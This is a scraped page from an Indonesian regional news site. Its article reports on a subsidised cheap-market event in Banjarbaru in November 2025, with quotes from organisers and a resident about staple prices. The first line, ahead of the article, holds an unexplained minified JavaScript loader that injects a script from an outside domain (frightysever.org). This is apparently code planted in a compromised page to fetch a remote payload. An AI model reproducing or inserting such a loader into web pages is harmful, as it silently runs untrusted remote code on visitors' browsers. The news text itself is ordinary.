(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Gelaran pasar murah diserbu warga di halaman Sekolah Islam Terpadu (SIT) Nurul Fikri Jalan Guntung Paring, Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Selasa (4/11/2025) siang.
Berbeda dengan biasa, pasar murah kali ini digelar Asosiasi Pasar Murah (APM) Banjarbaru bekerja sama dengan SIT Nurul Fikri Banjarbaru yang menyelenggarakan festival Nufi Fest 2025.
“Sekaligus festival Nufi Fest pada hari ini dengan santri-santri, Alhamdulillah pasar murah dan pelaku UMKM yang ada di Banjarbaru bisa ikut bergabung di dalam acara ini,” ujar Ketua APM Banjarbaru, Zubaidah.
Baca juga: Warga Amuntai Serbu Operasi Pasar Murah di Halaman Kantor Bupati HSU
Dalam acara ini APM menjual barang sekaligus bahan pokok seperti beras, gula, minyak hingga telur yang semuanya didatangkan langsung dari distributor sehingga lebih murah.
“Kita disubsidi oleh anggota DPRD, termasuk dari Bulog kami turunkan lagi, subsidi dari distributor sekaligus subsidi kami. Jadi yang disalurkan kepada kami semuanya murni 100% untuk masyarakat yang ada di Banjarbaru berbentuk barang,” jelasnya.
Zubaidah berharap dengan pasar murah mandiri ini dapat menjadi perhatian pemerintah untuk bersama-sama menekan inflasi di Banjarbaru.
Baca juga: Peringati HUT ke-25 Arsada, RSUD Kuala Kapuas Gelar Donor Darah
Pengawas APM Banjarbaru Ir Hj Puspa Kencana mengatakan, APM memberikan subsidi untuk pembelian bahan-bahan pokok sembako sebesar Rp2 ribu
“Dan itu bantuan dari kas APM beserta DPRD. Jadi memang benar-benar asosiasi pasar murah mandiri, dan masyarakat menyukainya,” ujar pengawas Ir Hj Puspa Kencana.
Selain pasar murah mandiri ini pula, APM juga rencananya akan bekerja sama dengan Dinas Perdagangan dan Perindustrian Kota Banjarbaru untuk kembali menyelenggarakan pasar murah.
“Rencananya tanggal 17 November selama 10 hari. Mungkin juga nanti Desember bisa mandiri lagi, menjelang haul guru,” tuntasnya.
Baca juga: Kakek Tak Punya Sanak Keluarga Terbujur Kaku di Selokan Komet
Salah satu warga Guntung Manggis, Nur Halimah mengaku mendapatkan harga beras SPHP kemasan 5 Kg seharga Rp59 ribu.
“Padahal di pasaran sampai Rp65 ribu. Alhamdulillah bisa membantu warga di sini, karena semuanya mahal sekarang,” ujar Nur Halimah.
Ia mengaku banyak harga bahan pokok yang merangkak naik di pasaran ketika menjelang akhir tahun. Dirinya berharap pasar murah dapat rutin diselenggarakan. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.